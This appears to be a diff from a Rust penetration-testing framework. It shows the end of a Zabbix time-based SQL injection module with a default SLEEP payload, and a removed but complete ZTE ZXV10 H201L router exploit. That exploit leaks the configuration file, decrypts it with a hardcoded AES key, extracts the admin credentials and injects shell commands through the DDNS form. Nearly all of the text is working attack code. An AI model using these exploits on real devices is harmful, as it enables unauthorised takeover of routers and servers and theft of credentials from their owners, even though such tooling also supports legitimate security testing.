println!("{}", format!("[*] Response received in {:.2}s", elapsed.as_secs_f64()).cyan());
if test_response_text.contains("\"error\"") {
println!("{}", "[-] Target does NOT appear vulnerable (error in response).".red());
} else if elapsed.as_secs() >= 5 {
println!("{}", "[+] VULNERABLE! Response delayed by SLEEP injection.".green().bold());
} else {
println!("{}", "[?] Inconclusive - response received but no delay detected.".yellow());
}
Ok(())
}
// Prompt user to choose a payload option using shared utilities
async fn get_payload_choice() -> Result<String> {
println!("{}", "[*] Choose SQL payload option:".cyan().bold());
println!(" {} Load SQL payloads from file", "[1]".green());
println!(" {} Enter custom SQL payload", "[2]".green());
println!(" {} Use default SQL payload (SLEEP-based)", "[3]".green());
let choice = prompt_int_range("Enter your choice", 3, 1, 3).await? as u8;
match choice {
1 => {
// Load from a file (e.g., sql_payloads.txt)
let payloads_file = prompt_default("SQL payloads file path", "sql_payloads.txt").await?;
println!("{}", "[*] Loading SQL payloads from file...".cyan());
let payloads = fs::read_to_string(&payloads_file)
.map_err(|e| anyhow!("Error reading payload file '{}': {}", payloads_file, e))?;
println!("{}", "[+] Payloads loaded successfully".green());
Ok(payloads.trim().to_string())
}
2 => {
// Allow user to input a custom payload
let custom_payload = prompt_default("Custom SQL payload", "readonly AND (SELECT(SLEEP(5)))").await?;
// Ensure the custom payload isn't empty
if custom_payload.is_empty() {
println!("{}", "[-] Custom payload cannot be empty".red());
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
}
println!("{}", format!("[+] Using custom payload: {}", custom_payload).green());
Ok(custom_payload)
}
3 => {
// Use a default payload
println!("{}", "[*] Using default SQL payload (SLEEP-based)...".cyan());
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
}
_ => {
println!("{}", "[-] Invalid choice".red());
Err(anyhow!("Invalid choice, please select 1, 2, or 3."))
}
}
}
// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Validate and normalize target URL
let api_url = validate_target_url(target)?;
println!("{}", format!("[*] Target API URL: {}", api_url).yellow());
println!();
// Use shared prompt utilities for credentials
let username = prompt_default("Username", "Admin").await?;
let password = prompt_default("Password", "").await?;
if username.is_empty() || password.is_empty() {
println!("{}", "[-] Username and password are required".red());
return Err(anyhow!("Username and password are required"));
}
// Get the payload choice from the user
let payload = get_payload_choice().await?;
// Run the exploit with the selected payload
exploit_zabbix(&api_url, &username, &password, &payload).await
}
-1
View File
@@ -1 +0,0 @@
pub mod zte_zxv10_h201l_rce_authenticationbypass;
@@ -1,287 +0,0 @@
//! ZTE ZXV10 H201L Router RCE via Authentication Bypass
//!
//! This module exploits a vulnerability in ZTE ZXV10 H201L routers that allows
//! unauthenticated access to the router's configuration and subsequent RCE.
//!
//! ## Vulnerability Details
//! - **Affected Device**: ZTE ZXV10 H201L
//! - **Attack Vector**: Network (HTTP)
//! - **Impact**: Remote Code Execution, Credential Disclosure
//!
//! ## Attack Flow
//! 1. Leak encrypted configuration file
//! 2. Decrypt configuration to extract credentials
//! 3. Login with extracted credentials
//! 4. Inject command via DDNS form vulnerability
//!
//! ## Security Notes
//! - Uses utils.rs for target validation
//! - Proper error handling and timeouts
//! - Cleans up temporary files after exploitation
//!
//! For authorized penetration testing only.
use aes::Aes128;
use anyhow::{Result, anyhow};
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
io::{Read, Write as StdWrite},
net::TcpStream,
sync::Arc,
};
use tokio::time::Duration;
use std::net::ToSocketAddrs;
use crate::utils::{
normalize_target, prompt_int_range,
};
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ZTE ZXV10 H201L RCE + Authentication Bypass ║".cyan());
println!("{}", "║ Router Configuration Leak & Command Injection ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
let cipher = Aes128::new_from_slice(key)?;
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
Ok(output)
}
/// Parse and validate target using utils.rs normalize_target
/// Returns (host, port) tuple with proper IPv6 handling
async fn parse_target(target: &str) -> Result<(String, u16)> {
// Use utils.rs normalize_target for comprehensive validation
let normalized = normalize_target(target)?;
// Check if normalized result contains a port
if normalized.starts_with('[') {
// IPv6 format: [::1]:port or [::1]
if let Some(bracket_end) = normalized.find(']') {
let host = normalized[1..bracket_end].to_string();
let rest = &normalized[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.map_err(|_| anyhow!("Invalid port number"))?;
return Ok((host, port));
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 80, 1, 65535).await? as u16;
return Ok((host, port));
}
}
return Err(anyhow!("Invalid IPv6 format"));
}
// IPv4 or hostname format: host:port or host
if let Some(colon_pos) = normalized.rfind(':') {
let host = normalized[..colon_pos].to_string();
let port = normalized[colon_pos + 1..].parse::<u16>()
.map_err(|_| anyhow!("Invalid port number"))?;
Ok((host, port))
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 80, 1, 65535).await? as u16;
Ok((normalized, port))
}
}
/// Leak the router config file
fn leak_config(host: &str, port: u16) -> Result<()> {
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
// Resolve and connect with timeout
let addr = (host, port)
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Could not resolve address"))?;
let timeout = Duration::from_secs(5);
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
let body = format!(
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
boundary, boundary
);
let request = format!(
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
Host: {}:{}\r\n\
Content-Type: multipart/form-data; boundary={}\r\n\
Content-Length: {}\r\n\
Connection: close\r\n\r\n{}",
host, port, boundary, body.len(), body
);
StdWrite::write_all(&mut conn, request.as_bytes())?;
let mut response = vec![];
conn.read_to_end(&mut response)?;
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
let body = &response[start + 4..];
StdWrite::write_all(&mut File::create("config.bin")?, body)?;
}
println!("[+] Config saved to config.bin");
Ok(())
}
/// Decrypt config and extract credentials
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
let mut encrypted = File::open("config.bin")?;
let mut data = vec![];
encrypted.read_to_end(&mut data)?;
let mut key16 = [0u8; 16];
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
fs::write("decrypted.xml", &decrypted)?;
let xml = fs::read_to_string("decrypted.xml")?;
let username = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("User").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
let password = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("Pass").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
fs::remove_file("config.bin").ok();
fs::remove_file("decrypted.xml").ok();
println!("[+] Decrypted credentials: {} / {}", username, password);
Ok((username, password))
}
/// Perform login
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
println!("[*] Logging in to http://{}:{}/ ...", host, port);
let url = format!("http://{}:{}/", host, port);
let page = session.get(&url).send().await?.text().await?;
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
.and_then(|s| s.split('"').next())
.ok_or_else(|| anyhow!("Login token not found"))?;
let params = [
("Username", username),
("Password", password),
("frashnum", ""),
("Frm_Logintoken", token),
];
session.post(&url).form(&params).send().await?;
println!("[+] Login submitted.");
Ok(())
}
/// Logout
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
let url = format!("http://{}:{}/", host, port);
session.post(&url).form(&[("logout", "1")]).send().await?;
println!("[*] Logged out.");
Ok(())
}
/// Command injection payload generator
fn command_injection(cmd: &str) -> String {
let inj = format!("user;{};echo", cmd);
inj.replace(" ", "${IFS}")
}
/// Abuse DDNS form to inject command
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
let url = format!(
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
host, port
);
let form = [
("IF_ACTION", "apply"), ("Name", "dyndns"),
("Server", "http://www.dyndns.com/"), ("Username", payload),
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
("DomainName", "hostname"), ("Service", "dyndns"),
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
("RetryInterval0", "60"), ("MaxRetries0", "3"),
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
("RetryInterval1", "60"), ("MaxRetries1", "3"),
("Enable", "1"), ("HostNumber", "")
];
println!("[*] Sending command injection payload...");
session.post(&url).form(&form).send().await?;
println!("[+] Payload delivered.");
Ok(())
}
/// Exploit wrapper
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
let cookie_jar = Arc::new(Jar::default());
let session = Client::builder()
.cookie_provider(cookie_jar)
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
.build()?;
leak_config(host, port)?;
let (username, password) = decrypt_config(config_key)?;
login(&session, host, port, &username, &password).await?;
let payload = command_injection("echo hacked > /var/tmp/pwned");
set_ddns(&session, host, port, &payload).await?;
logout(&session, host, port).await?;
println!("[✓] Exploit complete.");
Ok(())
}
/// Dispatch entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let (host, port) = parse_target(target).await?;
println!("{}", format!("[*] Attacking {}:{}", host, port).cyan());
let config_key = b"Renjx%2$CjM";
match exploit(config_key, &host, port).await {
Ok(_) => {
println!("[*] Success on {}:{}", host, port);
Ok(())
}
Err(e) => {
println!("[!] Exploit failed: {}", e);
Err(e)
}
}
}
-3
View File
@@ -1,3 +0,0 @@
pub mod exploits;
pub mod scanners;
pub mod creds;

Some files were not shown because too many files have changed in this diff Show More